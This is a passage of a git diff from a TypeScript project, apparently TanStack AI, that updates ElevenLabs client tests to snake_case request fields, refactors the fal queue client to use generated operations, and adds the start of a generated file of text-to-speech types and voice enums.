() => { + await expectParity( (client) => client.speechToText.convert({ - modelId: 'scribe_v1', - cloudStorageUrl: 'https://example.com/a.mp3', - entityDetection: 'pii', - useMultiChannel: true, + model_id: 'scribe_v1', + cloud_storage_url: 'https://example.com/a.mp3', + use_multi_channel: true, }), json({ transcripts: [ @@ -382,29 +480,29 @@ describe('ElevenLabs client parity with @elevenlabs/elevenlabs-js', () => { audio_duration_secs: 2.5, }), ) - // The SDK drops a plain-string entity filter; see the client comment. - expect(JSON.stringify(sdk.requests[0]!.body)).not.toContain('entity') }) it('textToVoice.design', async () => { await expectParity( (client) => - client.textToVoice.design({ - voiceDescription: 'A calm narrator', - modelId: 'eleven_ttv_v3', - text: 'Hello from the preview.', - autoGenerateText: false, - loudness: 0.5, - seed: 1, - guidanceScale: 5, - quality: 0.9, - shouldEnhance: true, - promptStrength: 0.5, - referenceAudioBase64: 'AAAA', - remixingSessionId: 'r1', - remixingSessionIterationId: 'r1-i1', - outputFormat: 'mp3_44100_128', - }), + client.textToVoice.design( + { + voice_description: 'A calm narrator', + model_id: 'eleven_ttv_v3', + text: 'Hello from the preview.', + auto_generate_text: false, + loudness: 0.5, + seed: 1, + guidance_scale: 5, + quality: 0.9, + should_enhance: true, + prompt_strength: 0.5, + reference_audio_base64: 'AAAA', + remixing_session_id: 'r1', + remixing_session_iteration_id: 'r1-i1', + }, + { output_format: 'mp3_44100_128' }, + ), json({ previews: [ { @@ -424,11 +522,11 @@ describe('ElevenLabs client parity with @elevenlabs/elevenlabs-js', () => { await expectParity( (client) => client.textToVoice.create({ - voiceName: 'Narrator', - voiceDescription: 'A calm narrator', - generatedVoiceId: 'gen-1', + voice_name: 'Narrator', + voice_description: 'A calm narrator', + generated_voice_id: 'gen-1', labels: { use_case: 'narration' }, - playedNotSelectedVoiceIds: ['gen-2'], + played_not_selected_voice_ids: ['gen-2'], }), json({ voice_id: 'saved-1', @@ -467,7 +565,7 @@ describe('ElevenLabs client error parity', () => { it('throws UnprocessableEntityError for a 422', async () => { const sdk = await expectParity( - (client) => client.textToSpeech.convert('voice-1', speech), + (client) => client.textToSpeech.convert('voice-1', speech, speechQuery), errorResponse(422, { detail: [{ msg: 'bad voice' }] }), ) expect(sdk.outcome).toMatchObject({ diff --git a/packages/ai-elevenlabs/tests/generated-client.test.ts b/packages/ai-elevenlabs/tests/generated-client.test.ts new file mode 100644 index 0000000000..7cb38edba2 --- /dev/null +++ b/packages/ai-elevenlabs/tests/generated-client.test.ts @@ -0,0 +1,61 @@ +import { describe, expect, it } from 'vitest' +import { createElevenLabsClient } from '../src/client' + +// These calls go through the generated ElevenLabs operations. +function recordingFetch(response: () => Response) { + const calls: Array<{ url: string; init: RequestInit }> = [] + const fetch = async (url: string | URL | Request, init?: RequestInit) => { + calls.push({ url: String(url), init: init ?? {} }) + return await Promise.resolve(response()) + } + return { calls, fetch } +} + +describe('generated ElevenLabs client', () => { + it('sends a JSON voice design call and parses the body', async () => { + const { calls, fetch } = recordingFetch(() => + Response.json({ previews: [], text: 'Hi' }), + ) + const client = createElevenLabsClient({ apiKey: 'k', fetch }) + + const result = await client.textToVoice.design( + { voice_description: 'A calm narrator' }, + { output_format: 'mp3_44100_128' }, + ) + + expect(result).toMatchObject({ text: 'Hi' }) + expect(calls[0]?.url).toBe( + 'https://api.elevenlabs.io/v1/text-to-voice/design?output_format=mp3_44100_128', + ) + expect(calls[0]?.init.method).toBe('POST') + expect(JSON.parse(String(calls[0]?.init.body))).toEqual({ + voice_description: 'A calm narrator', + }) + const headers = new Headers(calls[0]?.init.headers) + expect(headers.get('content-type')).toBe('application/json') + expect(headers.get('xi-api-key')).toBe('k') + }) + + it('sends text to speech and reads the audio bytes', async () => { + const audio = new Uint8Array([1, 2, 3]) + const { calls, fetch } = recordingFetch( + () => new Response(audio, { headers: { 'content-type': 'audio/mpeg' } }), + ) + const client = createElevenLabsClient({ apiKey: 'k', fetch }) + + const stream = await client.textToSpeech.convert('voice/1', { + text: 'Hello', + model_id: 'eleven_v3', + }) + + const bytes = new Uint8Array(await new Response(stream).arrayBuffer()) + expect(Array.from(bytes)).toEqual([1, 2, 3]) + expect(calls[0]?.url).toBe( + 'https://api.elevenlabs.io/v1/text-to-speech/voice%2F1', + ) + expect(JSON.parse(String(calls[0]?.init.body))).toEqual({ + text: 'Hello', + model_id: 'eleven_v3', + }) + }) +}) diff --git a/packages/ai-elevenlabs/tests/speech-adapter.test.ts b/packages/ai-elevenlabs/tests/speech-adapter.test.ts index 6f29e67912..54d50d4007 100644 --- a/packages/ai-elevenlabs/tests/speech-adapter.test.ts +++ b/packages/ai-elevenlabs/tests/speech-adapter.test.ts @@ -68,7 +68,7 @@ describe('elevenlabsSpeech adapter', () => { expect(voiceId).toBe('voice-1') expect(body).toMatchObject({ text: 'Hello there', - modelId: 'eleven_multilingual_v2', + model_id: 'eleven_multilingual_v2', }) expect(result).toMatchObject({ model: 'eleven_multilingual_v2', @@ -134,7 +134,7 @@ describe('elevenlabsSpeech adapter', () => { logger: makeLogger(), }) - expect(convertMock.mock.calls[0]![1].outputFormat).toBe('pcm_44100') + expect(convertMock.mock.calls[0]![2].output_format).toBe('pcm_44100') expect(result.format).toBe('pcm') expect(result.contentType).toBe('audio/pcm') }) @@ -154,9 +154,9 @@ describe('elevenlabsSpeech adapter', () => { logger: makeLogger(), }) - expect(convertMock.mock.calls[0]![1].voiceSettings).toEqual({ + expect(convertMock.mock.calls[0]![1].voice_settings).toEqual({ stability: 0.4, - similarityBoost: 0.6, + similarity_boost: 0.6, speed: 1.25, }) }) @@ -181,7 +181,7 @@ describe('elevenlabsSpeech adapter', () => { logger: makeLogger(), }) - expect(convertMock.mock.calls[0]![1].outputFormat).toBe('pcm_44100') + expect(convertMock.mock.calls[0]![2].output_format).toBe('pcm_44100') expect(result).toMatchObject({ format: 'wav', contentType: 'audio/wav' }) const wav = Buffer.from(result.audio, 'base64') expect(wav.length).toBe(44 + samples.length) @@ -236,7 +236,7 @@ describe('elevenlabsSpeech adapter', () => { modelOptions: { outputFormat: 'mp3_22050_32' }, logger: makeLogger(), }) - expect(convertMock.mock.calls[0]![1].outputFormat).toBe('mp3_22050_32') + expect(convertMock.mock.calls[0]![2].output_format).toBe('mp3_22050_32') expect(result).toMatchObject({ format: 'mp3', contentType: 'audio/mpeg', @@ -283,10 +283,10 @@ describe('elevenlabsSpeech adapter', () => { expect(convertMock).not.toHaveBeenCalled() expect(dialogueConvertMock.mock.calls[0]![0]).toMatchObject({ - modelId: 'eleven_v3', + model_id: 'eleven_v3', inputs: [ - { text: 'Knock knock', voiceId: 'voice-a' }, - { text: 'Who is there?', voiceId: 'voice-b' }, + { text: 'Knock knock', voice_id: 'voice-a' }, + { text: 'Who is there?', voice_id: 'voice-b' }, ], }) expect(result.audio).toBe(Buffer.from([7]).toString('base64')) @@ -379,7 +379,7 @@ describe('elevenlabsSpeech adapter', () => { expect(convertMock).not.toHaveBeenCalled() const [voiceId, body] = convertWithTimestampsMock.mock.calls[0]! expect(voiceId).toBe('voice-a') - expect(body).toMatchObject({ text: 'hi', modelId: 'eleven_v3' }) + expect(body).toMatchObject({ text: 'hi', model_id: 'eleven_v3' }) expect(result.alignment?.unit).toBe('character') // Only the dialogue endpoint reports voice segments. expect(result.segments).toBeUndefined() @@ -400,7 +400,7 @@ describe('elevenlabsSpeech adapter', () => { logger: makeLogger(), }) - expect(convertWithTimestampsMock.mock.calls[0]![1].outputFormat).toBe( + expect(convertWithTimestampsMock.mock.calls[0]![2].output_format).toBe( 'pcm_44100', ) const bytes = Buffer.from(result.audio, 'base64') diff --git a/packages/ai-elevenlabs/tests/transcription-adapter.test.ts b/packages/ai-elevenlabs/tests/transcription-adapter.test.ts index 5e50893cfc..5ecddb9cc3 100644 --- a/packages/ai-elevenlabs/tests/transcription-adapter.test.ts +++ b/packages/ai-elevenlabs/tests/transcription-adapter.test.ts @@ -49,11 +49,11 @@ describe('elevenlabsTranscription adapter', () => { expect(convertMock).toHaveBeenCalledTimes(1) expect(convertMock.mock.calls[0]![0]).toMatchObject({ - modelId: 'scribe_v1', - languageCode: 'en', + model_id: 'scribe_v1', + language_code: 'en', diarize: true, keyterms: ['foo', 'bar'], - timestampsGranularity: 'word', + timestamps_granularity: 'word', }) expect(result).toMatchObject({ text: 'hello world', @@ -77,10 +77,10 @@ describe('elevenlabsTranscription adapter', () => { const body = convertMock.mock.calls[0]![0] expect(body.file).toBeInstanceOf(Blob) - expect(body.cloudStorageUrl).toBeUndefined() + expect(body.cloud_storage_url).toBeUndefined() }) - it('treats a plain https string as cloudStorageUrl', async () => { + it('treats a plain https string as cloud_storage_url', async () => { convertMock.mockResolvedValue({ text: '', words: [] }) const adapter = elevenlabsTranscription('scribe_v1', { apiKey: 'k' }) @@ -91,7 +91,7 @@ describe('elevenlabsTranscription adapter', () => { }) const body = convertMock.mock.calls[0]![0] - expect(body.cloudStorageUrl).toBe('https://example.com/audio.mp3') + expect(body.cloud_storage_url).toBe('https://example.com/audio.mp3') expect(body.file).toBeUndefined() }) diff --git a/packages/ai-elevenlabs/tests/voice-adapter.test.ts b/packages/ai-elevenlabs/tests/voice-adapter.test.ts index 7251fe2642..69e897cee3 100644 --- a/packages/ai-elevenlabs/tests/voice-adapter.test.ts +++ b/packages/ai-elevenlabs/tests/voice-adapter.test.ts @@ -56,8 +56,8 @@ describe('elevenlabsVoiceDesign adapter', () => { expect(createMock).not.toHaveBeenCalled() expect(designMock.mock.calls[0]![0]).toMatchObject({ - voiceDescription: 'A warm, gravelly narrator in his sixties', - modelId: 'eleven_ttv_v3', + voice_description: 'A warm, gravelly narrator in his sixties', + model_id: 'eleven_ttv_v3', }) expect(result.previewText).toBe( 'The quick brown fox jumps over the lazy dog.', @@ -100,12 +100,12 @@ describe('elevenlabsVoiceDesign adapter', () => { }) expect(createMock.mock.calls[0]![0]).toMatchObject({ - voiceName: 'Demo Host', - voiceDescription: 'Bright, upbeat, mid-30s', - generatedVoiceId: 'gen-1', + voice_name: 'Demo Host', + voice_description: 'Bright, upbeat, mid-30s', + generated_voice_id: 'gen-1', labels: { use_case: 'demo' }, // Losing candidates go back as RLHF signal. - playedNotSelectedVoiceIds: ['gen-2'], + played_not_selected_voice_ids: ['gen-2'], }) expect(result.voices[0]).toMatchObject({ voiceId: 'saved-voice', @@ -127,7 +127,7 @@ describe('elevenlabsVoiceDesign adapter', () => { }) expect(createMock.mock.calls[0]![0]).toMatchObject({ - voiceDescription: 'A calm meditation guide', + voice_description: 'A calm meditation guide', }) }) @@ -156,17 +156,19 @@ describe('elevenlabsVoiceDesign adapter', () => { }) expect(designMock.mock.calls[0]![0]).toMatchObject({ - outputFormat: 'opus_48000_128', text: 'A line the previews speak.', - autoGenerateText: false, + auto_generate_text: false, loudness: 0, seed: 0, - guidanceScale: 0, + guidance_scale: 0, quality: 0, - shouldEnhance: false, - promptStrength: 0, - remixingSessionId: 'sess-1', - remixingSessionIterationId: 'iter-1', + should_enhance: false, + prompt_strength: 0, + remixing_session_id: 'sess-1', + remixing_session_iteration_id: 'iter-1', + }) + expect(designMock.mock.calls[0]![1]).toEqual({ + output_format: 'opus_48000_128', }) }) @@ -207,7 +209,7 @@ describe('elevenlabsVoiceDesign adapter', () => { // Without this the request keeps running after the caller gave up — and // the create half would still persist a voice. - expect(designMock.mock.calls[0]![1]).toEqual({ abortSignal: abort.signal }) + expect(designMock.mock.calls[0]![2]).toEqual({ abortSignal: abort.signal }) expect(createMock.mock.calls[0]![1]).toEqual({ abortSignal: abort.signal }) }) @@ -251,7 +253,7 @@ describe('elevenlabsVoiceDesign adapter', () => { }) expect(designMock.mock.calls[0]![0]).toMatchObject({ - referenceAudioBase64: 'QUJD', + reference_audio_base64: 'QUJD', }) }) @@ -268,7 +270,7 @@ describe('elevenlabsVoiceDesign adapter', () => { }) expect(designMock.mock.calls[0]![0]).toMatchObject({ - referenceAudioBase64: 'QUJD', + reference_audio_base64: 'QUJD', }) }) @@ -283,7 +285,7 @@ describe('elevenlabsVoiceDesign adapter', () => { logger: makeLogger(), }) - expect(designMock.mock.calls[0]![0].referenceAudioBase64).toBe('QUJD') + expect(designMock.mock.calls[0]![0].reference_audio_base64).toBe('QUJD') }) it('rejects a data URL that is not base64', async () => { diff --git a/packages/ai-elevenlabs/vite.config.ts b/packages/ai-elevenlabs/vite.config.ts index c9e1e44297..55df5a1878 100644 --- a/packages/ai-elevenlabs/vite.config.ts +++ b/packages/ai-elevenlabs/vite.config.ts @@ -21,6 +21,7 @@ const config = defineConfig({ '**/*.test.ts', '**/*.config.ts', '**/types.ts', + 'src/generated/', ], include: ['src/**/*.ts'], }, diff --git a/packages/ai-fal/src/client/index.ts b/packages/ai-fal/src/client/index.ts index 36101bf499..e996ae899d 100644 --- a/packages/ai-fal/src/client/index.ts +++ b/packages/ai-fal/src/client/index.ts @@ -5,6 +5,12 @@ import type { StorageSettings, ValidationErrorInfo, } from '@fal-ai/client' +import { sendWith } from '@tanstack/ai-utils/kubb' +import { + falGetEndpointIdRequestsRequestId, + falPostEndpointId, +} from '../generated/client/sdk' +import type { ClientInstance } from '@tanstack/ai-utils/kubb' /** * Config for {@link createFalClient}. These are the `@fal-ai/client` config @@ -128,6 +134,7 @@ const NETWORK_ERROR_CODES = new Set([ 'UND_ERR_SOCKET', ]) +const QUEUE_HOST = 'https://queue.fal.run' const POLL_INTERVAL_MS = 500 const MULTIPART_THRESHOLD_BYTES = 90 * 1024 * 1024 const UPLOAD_INITIATE_URL = @@ -143,6 +150,20 @@ const EXPIRATION_SECONDS: Record = { '1y': 31536000, } +/** + * The one cast between the client arguments and the types of the generated + * client. Its endpoint ids are an enum of the catalog models, and its body is + * `object`. Both describe the same request. + */ +const wire = (value: unknown) => value as T + +/** + * Endpoint ids keep their slashes: `fal-ai/flux/dev` is three path segments. + * The default path serializer would send `fal-ai%2Fflux%2Fdev`, and the + * runtime does not apply `allowReserved` to path params. + */ +const rawPath = { path: ({ value }: { value: unknown }) => String(value) } + const sleep = (ms: number) => new Promise((resolve) => setTimeout(resolve, ms)) const isBrowser = () => @@ -254,7 +275,7 @@ function queueUrl(id: string, path = '', query?: Record) { if (isFalUrl(id)) { return `${id.endsWith('/') ? id : `${id}/`}${cleanPath}${search}` } - const url = `https://queue.fal.run/${normalizeEndpointId(id)}/${cleanPath}` + const url = `${QUEUE_HOST}/${normalizeEndpointId(id)}/${cleanPath}` return `${url.replace(/\/$/, '')}${search}` } @@ -281,7 +302,10 @@ function uploadFileName(file: Blob, contentType: string) { } interface SendOptions { - body?: unknown + /** The serialized body. */ + body?: BodyInit + /** The headers of a generated body (its content type). `headers` win. */ + bodyHeaders?: Record headers?: Record signal?: AbortSignal retry?: RetryPolicy @@ -309,7 +333,13 @@ export function createFalClient(options: FalClientOptions) { async function send( method: 'GET' | 'POST' | 'PUT', url: string, - { body, headers, signal, retry = DEFAULT_RETRY }: SendOptions = {}, + { + body, + bodyHeaders, + headers, + signal, + retry = DEFAULT_RETRY, + }: SendOptions = {}, ) { // Same as the SDK proxy middleware: without a `when` rule it only // proxies in a browser. @@ -322,11 +352,12 @@ export function createFalClient(options: FalClientOptions) { ...(credentials ? { Authorization: `Key ${credentials}` } : {}), Accept: 'application/json', 'Content-Type': 'application/json', + ...bodyHeaders, ...headers, ...(useProxy ? { 'x-fal-target-url': url } : {}), }, signal, - body: method !== 'GET' && body ? JSON.stringify(body) : undefined, + body, }) return { response, data: await parseResponse(response) } } catch (error) { @@ -340,6 +371,30 @@ export function createFalClient(options: FalClientOptions) { } } + // A generated queue operation: it builds the path and the body, and `send` + // sends it to the queue host with the auth, proxy, retries, and errors. + async function generated( + method: 'GET' | 'POST', + operation: (client: ClientInstance) => Promise, + sendOptions: SendOptions, + ) { + let result: Awaited> | undefined + await operation( + sendWith(async (built) => { + result = await send(method, `${QUEUE_HOST}${built.path}`, { + ...sendOptions, + body: built.body, + bodyHeaders: built.headers, + }) + return result.response + }), + ) + // ponytail: `send` already read the body (errors and retries need it), so + // the parsed result comes from here, not from the generated call. + if (!result) throw new Error('The generated fal operation sent no request') + return result + } + async function transformInput(input: unknown): Promise { if (Array.isArray(input)) { return Promise.all(input.map((item) => transformInput(item))) @@ -370,10 +425,10 @@ export function createFalClient(options: FalClientOptions) { const contentType = file.type || 'application/octet-stream' const lifecycle = lifecycleConfig(uploadOptions?.lifecycle) const { data } = await send('POST', UPLOAD_INITIATE_URL, { - body: { + body: JSON.stringify({ content_type: contentType, file_name: uploadFileName(file, contentType), - }, + }), headers: lifecycle ? { 'X-Fal-Object-Lifecycle': JSON.stringify(lifecycle) } : {}, @@ -391,12 +446,30 @@ export function createFalClient(options: FalClientOptions) { const queue: FalClient['queue'] = { async submit(endpointId, { input, abortSignal }) { const body = input ? await transformInput(input) : undefined - const { data } = await send('POST', queueUrl(endpointId), { - body, + const sendOptions = { headers: { 'x-fal-queue-priority': 'normal' }, signal: abortSignal, retry: QUEUE_RETRY, - }) + } + // A full fal URL is not the queue host shape of the document. + if (isFalUrl(endpointId)) { + const { data } = await send('POST', queueUrl(endpointId), { + ...sendOptions, + body: body ? JSON.stringify(body) : undefined, + }) + return data + } + const { data } = await generated( + 'POST', + (client) => + falPostEndpointId({ + client, + serializer: rawPath, + path: { endpoint_id: wire(normalizeEndpointId(endpointId)) }, + body: wire(body), + }), + sendOptions, + ) return data }, async status(endpointId, { requestId, logs = false, abortSignal }) { @@ -412,11 +485,24 @@ export function createFalClient(options: FalClientOptions) { return data }, async result(endpointId, { requestId, abortSignal }) { - const url = queueUrl(queueAppId(endpointId), `/requests/${requestId}`) - const { response, data } = await send('GET', url, { - signal: abortSignal, - retry: QUEUE_RETRY, - }) + const appId = queueAppId(endpointId) + const sendOptions = { signal: abortSignal, retry: QUEUE_RETRY } + const { response, data } = isFalUrl(appId) + ? await send( + 'GET', + queueUrl(appId, `/requests/${requestId}`), + sendOptions, + ) + : await generated( + 'GET', + (client) => + falGetEndpointIdRequestsRequestId({ + client, + serializer: rawPath, + path: { endpoint_id: wire(appId), request_id: requestId }, + }), + sendOptions, + ) return { data, requestId: response.headers.get('x-fal-request-id') || '', diff --git a/packages/ai-fal/src/generated/audio/types.ts b/packages/ai-fal/src/generated/audio/types.ts new file mode 100644 index 0000000000..5906ee3696 --- /dev/null +++ b/packages/ai-fal/src/generated/audio/types.ts @@ -0,0 +1,22775 @@ +/** + * Generated by Kubb (https://kubb.dev/). + * Do not edit manually. + */ + +export const inputAlibabaQwenAudio3TtsVoiceEnum = { + Cherry: 'Cherry', + Serena: 'Serena', + Ethan: 'Ethan', + Chelsie: 'Chelsie', + Momo: 'Momo', + Vivian: 'Vivian', + Moon: 'Moon', + Maia: 'Maia', + Kai: 'Kai', + Nofish: 'Nofish', + Bella: 'Bella', + Jennifer: 'Jennifer', + Ryan: 'Ryan', + Katerina: 'Katerina', + Aiden: 'Aiden', + Mia: 'Mia', + Mochi: 'Mochi', + Bellona: 'Bellona', + Vincent: 'Vincent', + Bunny: 'Bunny', + Neil: 'Neil', + Elias: 'Elias', + Arthur: 'Arthur', + Nini: 'Nini', + Seren: 'Seren', + Pip: 'Pip', + Stella: 'Stella', + Bodega: 'Bodega', + Sonrisa: 'Sonrisa', + Alek: 'Alek', + Dolce: 'Dolce', + Sohee: 'Sohee', + Lenn: 'Lenn', + Emilien: 'Emilien', + Andre: 'Andre', + Jada: 'Jada', + Dylan: 'Dylan', + Li: 'Li', + Marcus: 'Marcus', + Roy: 'Roy', + Peter: 'Peter', + Sunny: 'Sunny', + Eric: 'Eric', + Rocky: 'Rocky', + Kiki: 'Kiki', +} as const + +export type InputAlibabaQwenAudio3TtsVoiceEnumKey = + (typeof inputAlibabaQwenAudio3TtsVoiceEnum)[keyof typeof inputAlibabaQwenAudio3TtsVoiceEnum] + +export const inputAlibabaQwenAudio3TtsLanguageEnum = { + Auto: 'Auto', + Chinese: 'Chinese', + English: 'English', + Spanish: 'Spanish', + Russian: 'Russian', + Italian: 'Italian', + French: 'French', + Korean: 'Korean', + Japanese: 'Japanese', + German: 'German', + Portuguese: 'Portuguese', +} as const + +export type InputAlibabaQwenAudio3TtsLanguageEnumKey = + (typeof inputAlibabaQwenAudio3TtsLanguageEnum)[keyof typeof inputAlibabaQwenAudio3TtsLanguageEnum] + +export type InputAlibabaQwenAudio3Tts = { + /** + * @description The voice used for speech synthesis. See the [Qwen-TTS voice list](https://www.alibabacloud.com/help/en/model-studio/qwen-tts-voice-list) for each voice's language and dialect coverage. + * @default 'Cherry' + * @example Cherry + * @type string | undefined + */ + voice?: InputAlibabaQwenAudio3TtsVoiceEnumKey + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Language of the input text. `Auto` lets the model detect it; setting it explicitly improves pronunciation and intonation. + * @default 'Auto' + * @example English + * @type string | undefined + */ + language?: InputAlibabaQwenAudio3TtsLanguageEnumKey + /** + * @description The text to convert to speech. + * @minLength 1 + * @maxLength 2000 + * @example Hello! This is Qwen Audio 3.0 speaking on fal. + * @type string + */ + text: string +} + +export type AudioFile = { + /** + * @description The sample rate of the audio + */ + sample_rate?: number | null + /** + * @description The number of channels in the audio + */ + channels?: number | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The duration of the audio + */ + duration?: number | null + /** + * @description The bitrate of the audio (e.g., '192k' or 192000) + */ + bitrate?: string | number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputAlibabaQwenAudio3Tts = { + /** + * @description The generated speech audio file. + * @example {"file_name":"W1mDF9_5NWnOPVZzccqP2_njpi6QRK.wav","duration":3.44,"content_type":"audio/wav","sample_rate":24000,"url":"https://v3b.fal.media/files/b/0aa31e93/W1mDF9_5NWnOPVZzccqP2_njpi6QRK.wav","channels":1} + * @type object + */ + audio: AudioFile +} + +export const outputFormatContainerEnum = { + mp3: 'mp3', + raw: 'raw', +} as const + +export type OutputFormatContainerEnumKey = + (typeof outputFormatContainerEnum)[keyof typeof outputFormatContainerEnum] + +export const outputFormatEncoding = { + pcm_s16le: 'pcm_s16le', + pcm_f32le: 'pcm_f32le', + pcm_mulaw: 'pcm_mulaw', +} as const + +export type OutputFormatEncodingKey = + (typeof outputFormatEncoding)[keyof typeof outputFormatEncoding] + +export type OutputFormat = { + /** + * @description Output bit rate. Only used when container is 'mp3'. + */ + bit_rate?: number | null + /** + * @description Output audio container format. + * @default 'mp3' + * @type string | undefined + */ + container?: OutputFormatContainerEnumKey + /** + * @description Output sample rate in Hz. + * @minimum 8000 + * @maximum 48000 + * @default 44100 + * @type integer | undefined + */ + sample_rate?: number + /** + * @description PCM encoding. Only used when container is 'raw'. + */ + encoding?: OutputFormatEncodingKey | null +} + +export const voiceNameEnum = { + Jennie: 'Jennie', + Stella: 'Stella', + Max: 'Max', + Hayes: 'Hayes', + Elara: 'Elara', + Cleo: 'Cleo', + Fisher: 'Fisher', + Corin: 'Corin', + Thaddeus: 'Thaddeus', + Lucina: 'Lucina', + Acadia: 'Acadia', + Huxley: 'Huxley', + Winslet: 'Winslet', + Jethro: 'Jethro', + Elio: 'Elio', + Rupert: 'Rupert', + Eira: 'Eira', + Nyra: 'Nyra', + Arian: 'Arian', + Lily: 'Lily', + Pierce: 'Pierce', + Kaela: 'Kaela', + Elowen: 'Elowen', + Freya: 'Freya', + Lenny: 'Lenny', + Alessa: 'Alessa', + Pandora: 'Pandora', + Fia: 'Fia', + Abbott: 'Abbott', + Kael: 'Kael', + Orla: 'Orla', + Sable: 'Sable', + Marnie: 'Marnie', + Sera: 'Sera', + Virel: 'Virel', + Liora: 'Liora', + Riven: 'Riven', + Elys: 'Elys', + Dreena: 'Dreena', + Rhea: 'Rhea', + Vela: 'Vela', + Nymera: 'Nymera', + Isolde: 'Isolde', + Lirien: 'Lirien', + Zella: 'Zella', + Avenna: 'Avenna', + Mirelle: 'Mirelle', + Calia: 'Calia', + Lunea: 'Lunea', + Lucan: 'Lucan', + Tarian: 'Tarian', + Arlo: 'Arlo', + Jovan: 'Jovan', + Neron: 'Neron', + Ziven: 'Ziven', + Dax: 'Dax', + Orien: 'Orien', + Lior: 'Lior', + Eryx: 'Eryx', + Tyren: 'Tyren', + Nox: 'Nox', + Elric: 'Elric', + Varian: 'Varian', + Zoran: 'Zoran', + Miro: 'Miro', + Dalen: 'Dalen', + Ronix: 'Ronix', + Jarek: 'Jarek', + Nyxie: 'Nyxie', + Soren: 'Soren', + Viona: 'Viona', + Selene: 'Selene', + Rachiel: 'Rachiel', + Corbin: 'Corbin', + Abigail: 'Abigail', + Faith: 'Faith', + Kimberly: 'Kimberly', + Dave: 'Dave', + Grace: 'Grace', + Alden: 'Alden', + Renly: 'Renly', + Violet: 'Violet', + Joel: 'Joel', + Xavier: 'Xavier', + Esmeralda: 'Esmeralda', + Robert: 'Robert', + Lila: 'Lila', + Brooks: 'Brooks', + Lennox: 'Lennox', + Vanessa: 'Vanessa', + Simon: 'Simon', + Nyomi: 'Nyomi', + Jack: 'Jack', + Penelope: 'Penelope', + Brayden: 'Brayden', + Abel: 'Abel', + Nellie: 'Nellie', + Connie: 'Connie', + Andrew: 'Andrew', + Lincoln: 'Lincoln', +} as const + +export type VoiceNameEnumKey = + (typeof voiceNameEnum)[keyof typeof voiceNameEnum] + +/** + * @description Voice selection: by `name` from the predefined catalogue, or by raw `id`. + * + * BACKWARD COMPATIBILITY IS THE CONSTRAINT HERE. `{"voice": {"id": ""}}` is already in + * production, so `id` keeps working untouched and always WINS over `name`. `id` merely became + * optional, which is strictly more permissive — no request that used to succeed can now fail. + * `name` is the new default path: it renders as a dropdown in the fal playground because a + * Literal becomes an enum in the JSON schema. + * @type object + */ +export type Voice = { + /** + * @description Predefined voice, chosen by name. Ignored when `id` is set. + * @default 'Jennie' + * @type string | undefined + */ + name?: VoiceNameEnumKey +} + +export const inputAsyncTtsProV10Language = { + en: 'en', + fr: 'fr', + es: 'es', + de: 'de', + it: 'it', + pt: 'pt', +} as const + +export type InputAsyncTtsProV10LanguageKey = + (typeof inputAsyncTtsProV10Language)[keyof typeof inputAsyncTtsProV10Language] + +export type InputAsyncTtsProV10 = { + /** + * @description Audio output configuration. + * @type object | undefined + */ + output_format?: OutputFormat + /** + * @description Force synthesis in a specific language (ISO 639-1). + */ + language?: InputAsyncTtsProV10LanguageKey | null + /** + * @description Voice to use for synthesis. + * @type object + */ + voice: Voice + /** + * @description Text to convert to speech. + * @example Hello, welcome to Async! This is a text to speech demo. + * @type string + */ + transcript: string +} + +export type Audio = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputAsyncTtsProV10 = { + /** + * @description Size of the audio in bytes. + * @type integer + */ + size_bytes: number + /** + * @description MIME type of the audio. + * @type string + */ + content_type: string + audio: Audio +} + +export const inputBytedanceSeedAudio10OutputFormatEnum = { + wav: 'wav', + mp3: 'mp3', + pcm: 'pcm', + ogg_opus: 'ogg_opus', +} as const + +export type InputBytedanceSeedAudio10OutputFormatEnumKey = + (typeof inputBytedanceSeedAudio10OutputFormatEnum)[keyof typeof inputBytedanceSeedAudio10OutputFormatEnum] + +export const inputBytedanceSeedAudio10SampleRateEnum = { + '8000': 8000, + '16000': 16000, + '24000': 24000, + '32000': 32000, + '44100': 44100, + '48000': 48000, +} as const + +export type InputBytedanceSeedAudio10SampleRateEnumKey = + (typeof inputBytedanceSeedAudio10SampleRateEnum)[keyof typeof inputBytedanceSeedAudio10SampleRateEnum] + +export type InputBytedanceSeedAudio10 = { + /** + * @description Speech speed. 1.0 is normal speed, 0.5 is half speed, 2.0 is double speed. + * @minimum 0.5 + * @maximum 2 + * @default 1 + * @type number | undefined + */ + speed?: number + /** + * @description Volume. 1.0 is normal volume, 0.5 is half, 2.0 is double. + * @minimum 0.5 + * @maximum 2 + * @default 1 + * @type number | undefined + */ + volume?: number + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description A single reference image URL (jpeg/png/webp, up to 10MB). Cannot be combined with audio references. + */ + image_url?: string | null + /** + * @description Use the multilingual model variant, which handles non-English and mixed-language prompts better. + * @default false + * @type boolean | undefined + */ + multilingual?: boolean + /** + * @description Up to 3 reference audio URLs, referenced in prompt as @Audio1, @Audio2, @Audio3. Each clip: up to 30s, 10MB, wav/mp3/pcm/ogg_opus. + * @type array | undefined + */ + audio_urls?: string[] + /** + * @description Voice pitch shift in semitones. 0 is normal pitch, -12 lowers by one octave, 12 raises by one octave. + * @minimum -12 + * @maximum 12 + * @default 0 + * @type integer | undefined + */ + pitch?: number + /** + * @description Output audio format. + * @default 'mp3' + * @type string | undefined + */ + output_format?: InputBytedanceSeedAudio10OutputFormatEnumKey + /** + * @description Sample rate of the output audio in Hz. + * @default 24000 + * @type number | undefined + */ + sample_rate?: InputBytedanceSeedAudio10SampleRateEnumKey + /** + * @description Prompt or text to synthesize. Reference audio inputs by order with @Audio1, @Audio2, @Audio3. + * @maxLength 2048 + * @example Here's a quick look at your day: you've got three meetings, one lunch, and just enough time in between to grab a coffee and relax. + * @type string + */ + prompt: string + /** + * @description Voice to use for synthesis: either a preset voice name or a cloned voice id. + * @example stokie_en + * @example 